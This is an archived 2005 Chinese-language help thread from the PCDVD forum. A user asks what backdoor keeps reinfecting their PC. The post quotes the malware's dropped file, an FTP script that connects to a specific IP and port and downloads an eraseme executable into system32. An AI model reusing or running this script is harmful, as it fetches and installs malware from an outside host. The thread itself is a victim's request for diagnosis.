PCDVD數位科技討論區

PCDVD數位科技討論區 (https://www.pcdvd.com.tw/index.php)
-   疑難雜症區 (https://www.pcdvd.com.tw/forumdisplay.php?f=34)
-   -   中了奇怪的後門病毒"i" (https://www.pcdvd.com.tw/showthread.php?t=476300)

wide 2005-04-20 11:51 PM

中了奇怪的後門病毒"i"
 
不知是否跟我養驢子有關
小弟電腦裝有Kaspersky...但因要養驢,故開著防火牆
近來發現常常都會中一種後門病毒

此病毒會在 \windows\system32 下產生一個檔名為"i"的檔案
檔案大小僅71 bytes
檔案內容為

open 59.114.161.191 15452
user 1 1
get eraseme_12177.exe
quit

大概就是到59.114.161.191去抓了一個eraseme_?????.exe的檔案回來
放在 \windows\system32
(?????的數字每次都不同)

之後Ctrl+Alt+Del的工作管理員便會開不起來,有時候常會害軟體當掉
不過砍掉i及eraseme*.*之後再開機
一切又回復正常
然後...不久...檔案"i"又出現...重灌之後還是一樣...所以...我想...這跟驢子有關吧?

有高手能告訴我,這是啥子病毒嗎?(因K牌掃毒時每次掃出來的病毒名稱都不一樣)


所有的時間均為GMT +8。 現在的時間是03:36 AM.

vBulletin Version 3.0.1
powered_by_vbulletin 2025。